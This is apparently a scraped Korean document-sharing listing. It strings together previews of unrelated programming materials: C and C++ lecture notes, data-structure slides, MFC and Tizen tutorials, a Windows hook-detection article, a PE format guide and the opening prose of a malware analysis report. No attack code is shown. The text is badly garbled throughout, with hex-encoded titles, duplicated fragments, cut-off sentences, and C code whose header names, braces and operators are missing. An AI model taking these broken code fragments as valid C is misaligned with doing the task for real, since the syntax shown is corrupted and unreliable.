프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어 개나리 연구소 C 언어 노트 (tyback.egloos.com) 프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어먹고 하더라구요. 그래서,

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT T9 & AUTOMATA 2007. 3. 23 PLATFORM TEAM 정용학 차례 T9 개요 새로운언어 (LDB) 추가 T9 주요구조체 / 주요함수 Automata 개요 Automata 주요함수 추후세미나계획 질의응답및토의 T9 ( 2 / 30 ) T9 개요 일반적으로 cat 이라는단어를쓸려면... 기존모드 (multitap) 2,2,2, 2,8 ( 총 6번의입력

More information

03장.스택.key

03장.스택.key ---------------- DATA STRUCTURES USING C ---------------- 03CHAPTER 1 ? (stack): (LIFO:Last-In First-Out) 2 : top : ( index -1 ),,, 3 : ( ) ( ) -> ->. ->.... 4 Stack ADT : (LIFO) : init():. is_empty():

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4 Introduction to software design 2012-1 Final 2012.06.13 16:00-18:00 Student ID: Name: - 1 - 0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070> 1 #include 2 #include 3 #include 4 #include 5 #include 6 #include "QuickSort.h" 7 using namespace std; 8 9 10 Node* Queue[100]; // 추가입력된데이터를저장하기위한 Queue

More information

4S 1차년도 평가 발표자료

4S 1차년도 평가 발표자료 객체지향프로그래밍응용 Chap 2. 프로그램의뼈대 2012.09.17. 오병우 컴퓨터공학과금오공과대학교 윈도우프로그램각부분의명칭 타이틀바 메뉴 프레임윈도우오브젝트 메뉴오브젝트 도구모음 툴바오브젝트 스크롤바 클라이언트영역 뷰오브젝트 상태표시줄 상태바오브젝트 Department of Computer Engineering 2 Win32 Application API

More information

Microsoft Word - hook8.doc

Microsoft Word - hook8.doc 개발자를위한윈도우후킹테크닉 WH_DEBUG 훅을이용한훅탐지방법 지금까지우리는다양한종류의훅을사용해서다른프로그램으로전달되는메시지를가로채는방법을법을배웠다. 이번시간에는 WH_DEBUG 훅을사용해서훅프로시저를탐지하는방법에대해서다룬다. 목차 목차...1 필자소개...1 연재가이드...1 연재순서... 오류! 책갈피가정의되어있지않습니다. 필자메모...2 Intro...2

More information

<4D F736F F F696E74202D203032C0E520C0AFC6BFB8AEC6BC20C5ACB7A1BDBABFCD20C1FDC7D520C5ACB7A1BDBA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D203032C0E520C0AFC6BFB8AEC6BC20C5ACB7A1BDBABFCD20C1FDC7D520C5ACB7A1BDBA5FBFB5B3B2C0CCB0F8B4EB205BC8A3C8AF20B8F0B5E55D> 02 : 02 유틸리티클래스와집합클래스 학습목표 유틸리티클래스를이용하여객체생성법과사용법을익힌다. MFC 에서 C++ 의업캐스팅이적용되는원리를이해한다. 배열, 리스트, 맵클래스동작원리와사용법을익힌다. 콘솔응용프로그램 특징 메시지구동방식을사용하지않으므로 C/C++ 언어에대한지식만있으면곧바로실습이가능하다. 상당수의 MFC 클래스를사용할수있다. 유틸리티클래스, 집합클래스,

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2 제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.

More information

Chapter_02-3_NativeApp

Chapter_02-3_NativeApp 1 TIZEN Native App April, 2016 Dept. of software Dankook University http://embedded.dankook.ac.kr/~baeksj 목차 2 Tizen EFL Tizen EFL 3 Tizen EFL Enlightment Foundation Libraries 타이젠핵심코어툴킷 Tizen EFL 4 Tizen

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 3 if, if else, if else if, switch case for, while, do while break, continue : System.in, args, JOptionPane for (,, ) @ vs. logic data method variable Data Data Flow (Type), ( ) @ Member field

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT KEY EVENT & STATE 구현 2007. 1. 25 PLATFORM TEAM 정용학 차례 Key Event HS TASK UI TASK LONG KEY STATE 구현 소스코드및실행화면 질의응답및토의 2 KEY EVENT - HS TASK hs_task keypad_scan_keypad hs_init keypad_pass_key_code keypad_init

More information

초보자를 위한 C# 21일 완성

초보자를 위한 C# 21일 완성 C# 21., 21 C#., 2 ~ 3 21. 2 ~ 3 21.,. 1~ 2 (, ), C#.,,.,., 21..,.,,, 3. A..,,.,.. Q&A.. 24 C#,.NET.,.,.,. Visual C# Visual Studio.NET,..,. CD., www. TeachYour sel f CSharp. com., ( )., C#.. C# 1, 1. WEEK

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx

Microsoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx CrackMe 15.exe (in Simples) 문제풀이 동명대학교정보보호동아리 THINK www.mainthink.net 강동현 Blog: johnghb.tistory.com e-mail: cari2052@gmail.com 1 목차 : 1. 문제설명및기본분석 --------------------------- P. 03 2 상세분석 ---------------------------

More information

Microsoft PowerPoint - hci2-lecture5-messagemap.ppt

Microsoft PowerPoint - hci2-lecture5-messagemap.ppt Windows 와 C++ MFC Message Map HCI Programming 2 (321190) 2008년가을학기 10/14/2008 박경신 C++ 의다형성 (Polymorphsim) 기반클래스의어떤멤버함수를파생클래스에서재정의 (overriding) 하기위해서는기반클래스의그멤버함수가가상함수 (virtual function) 로정의되어야함 MFC 의 CWnd

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 실습 1 배효철 th1g@nate.com 1 목차 조건문 반복문 System.out 구구단 모양만들기 Up & Down 2 조건문 조건문의종류 If, switch If 문 조건식결과따라중괄호 { 블록을실행할지여부결정할때사용 조건식 true 또는 false값을산출할수있는연산식 boolean 변수 조건식이 true이면블록실행하고 false 이면블록실행하지않음 3

More information

Microsoft PowerPoint - [2009] 02.pptx

Microsoft PowerPoint - [2009] 02.pptx 원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

Lab 3. 실습문제 (Single linked list)_해답.hwp

Lab 3. 실습문제 (Single linked list)_해답.hwp Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.

More information

아이콘의 정의 본 사용자 설명서에서는 다음 아이콘을 사용합니다. 참고 참고는 발생할 수 있는 상황에 대처하는 방법을 알려 주거나 다른 기능과 함께 작동하는 방법에 대한 요령을 제공합니다. 상표 Brother 로고는 Brother Industries, Ltd.의 등록 상

아이콘의 정의 본 사용자 설명서에서는 다음 아이콘을 사용합니다. 참고 참고는 발생할 수 있는 상황에 대처하는 방법을 알려 주거나 다른 기능과 함께 작동하는 방법에 대한 요령을 제공합니다. 상표 Brother 로고는 Brother Industries, Ltd.의 등록 상 Android 용 Brother Image Viewer 설명서 버전 0 KOR 아이콘의 정의 본 사용자 설명서에서는 다음 아이콘을 사용합니다. 참고 참고는 발생할 수 있는 상황에 대처하는 방법을 알려 주거나 다른 기능과 함께 작동하는 방법에 대한 요령을 제공합니다. 상표 Brother 로고는 Brother Industries, Ltd.의 등록 상표입니다. Android는

More information

API 매뉴얼

API 매뉴얼 PCI-TC03 API Programming (Rev 1.0) Windows, Windows2000, Windows NT, Windows XP and Windows 7 are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations

More information

C 언어 프로그래밊 과제 풀이

C 언어 프로그래밊 과제 풀이 과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 15 고급프로그램을 만들기위한 C... 1. main( ) 함수의숨겨진이야기 2. 헤더파일 3. 전처리문과예약어 1. main( ) 함수의숨겨진이야기 main( ) 함수의매개변수 [ 기본 14-1] main( ) 함수에매개변수를사용한예 1 01 #include 02 03 int main(int argc, char* argv[])

More information

1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로 스스로를

1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로 스스로를 Malware Analysis Report Mad Angel 2016.09.17 By Kali-KM 1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2>

<4D F736F F F696E74202D20C1A63034B0AD202D20C7C1B7B9C0D3B8AEBDBAB3CABFCD20B9ABB9F6C6DBC0D4B7C2> 게임엔진 제 4 강프레임리스너와 OIS 입력시스템 이대현교수 한국산업기술대학교게임공학과 학습내용 프레임리스너의개념 프레임리스너를이용한엔터티의이동 OIS 입력시스템을이용한키보드입력의처리 게임루프 Initialization Game Logic Drawing N Exit? Y Finish 실제게임루프 오우거엔진의메인렌더링루프 Root::startRendering()

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT 2007. 2. 5 PLATFORM TEAM 정용학 차례 CONTAINER & WIDGET SPECIAL WIDGET 질의응답및토의 2 Container LCD에보여지는화면한개 1개이상의 Widget을가짐 3 Container 초기화과정 ui_init UMP_F_CONTAINERMGR_Initialize UMP_H_CONTAINERMGR_Initialize

More information

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 @ Lesson 2... ( ). ( ). @ vs. logic data method variable behavior attribute method field Flow (Type), ( ) member @ () : C program Method A ( ) Method B ( ) Method C () program : Java, C++, C# data @ Program

More information

Microsoft PowerPoint - CPP_chap1

Microsoft PowerPoint - CPP_chap1 Chap. 1 : C++ 언어및윈도우프로그래밍 = 강의핵심내용 = 1. C++ 프로그래밍언어소개 2. C++ 응용프로그래밍작성 3. 윈도우프로그래밍 1.1 C++ 프로그래밍언어소개 C++ 프로그래밍언어 Developed by B. Stroustrup at AT&T in the early 1980s. Superset of the C language commercially

More information

슬라이드 1

슬라이드 1 정적메모리할당 (Static memory allocation) 일반적으로프로그램의실행에필요한메모리 ( 변수, 배열, 객체등 ) 는컴파일과정에서결정되고, 실행파일이메모리에로드될때할당되며, 종료후에반환됨 동적메모리할당 (Dynamic memory allocation) 프로그램의실행중에필요한메모리를할당받아사용하고, 사용이끝나면반환함 - 메모리를프로그램이직접관리해야함

More information

연재순서 실행파읷속으로 필자소개 싞영짂 웰비아닶컴에서보안프로그래머로읷하고있다. 시스템프로그래밍에관심이많으며다수의 PC 보안프로그램개발에참여했다. 현재데브피아 Visual C++ 섹션시

연재순서 실행파읷속으로 필자소개 싞영짂  웰비아닶컴에서보안프로그래머로읷하고있다. 시스템프로그래밍에관심이많으며다수의 PC 보안프로그램개발에참여했다. 현재데브피아 Visual C++ 섹션시 윈도우프로그래머를위한 PE 포맷가이드 실행파읷속으로 목차 목차... 1 License... 1 소개... 1 연재가이드... 1 연재순서... 2 필자소개... 2 필자메모... 2 Introduction... 2 PE 포맷의젂체적읶구조... 3 DOS 헤더및스텁코드... 5 NT 헤더... 5 섹션헤더... 7 RVA와파읷오프셋... 10 익스포트정보...

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

<4D F736F F D20B0ADB5BFC7F65FB1E2BCFAB9AEBCAD5F4645B1B8C1B620B1E2BCFAB9AEBCAD5F66726F6D E6B5F66696E F2E646F63>

<4D F736F F D20B0ADB5BFC7F65FB1E2BCFAB9AEBCAD5F4645B1B8C1B620B1E2BCFAB9AEBCAD5F66726F6D E6B5F66696E F2E646F63> 기술문서 08.10.24. 작성 PE 구조분석 Windows 계열 OS 의파일구성 (PE: Portable Executable) 작성자 : 동명대학교 THINK 강동현 (cari2052@gmail.com) 0. 시작하면서 -------------------------------------------------------------------------- p.02

More information

Microsoft PowerPoint - 07-Data Manipulation.pptx

Microsoft PowerPoint - 07-Data Manipulation.pptx Digital 3D Anthropometry 7. Data Analysis Sungmin Kim SEOUL NATIONAL UNIVERSITY Body 기본정보표시 Introduction 스케일조절하기 단면형상추출 단면정보관리 3D 단면형상표시 2 기본정보표시및스케일조절 UI 및핸들러구성 void fastcall TMainForm::BeginNewProject1Click(TObject

More information

쉽게 풀어쓴 C 프로그래밍

쉽게 풀어쓴 C 프로그래밍 제 5 장생성자와접근제어 1. 객체지향기법을이해한다. 2. 클래스를작성할수있다. 3. 클래스에서객체를생성할수있다. 4. 생성자를이용하여객체를초기화할수 있다. 5. 접근자와설정자를사용할수있다. 이번장에서만들어볼프로그램 생성자 생성자 (constructor) 는초기화를담당하는함수 생성자가필요한이유 #include using namespace

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information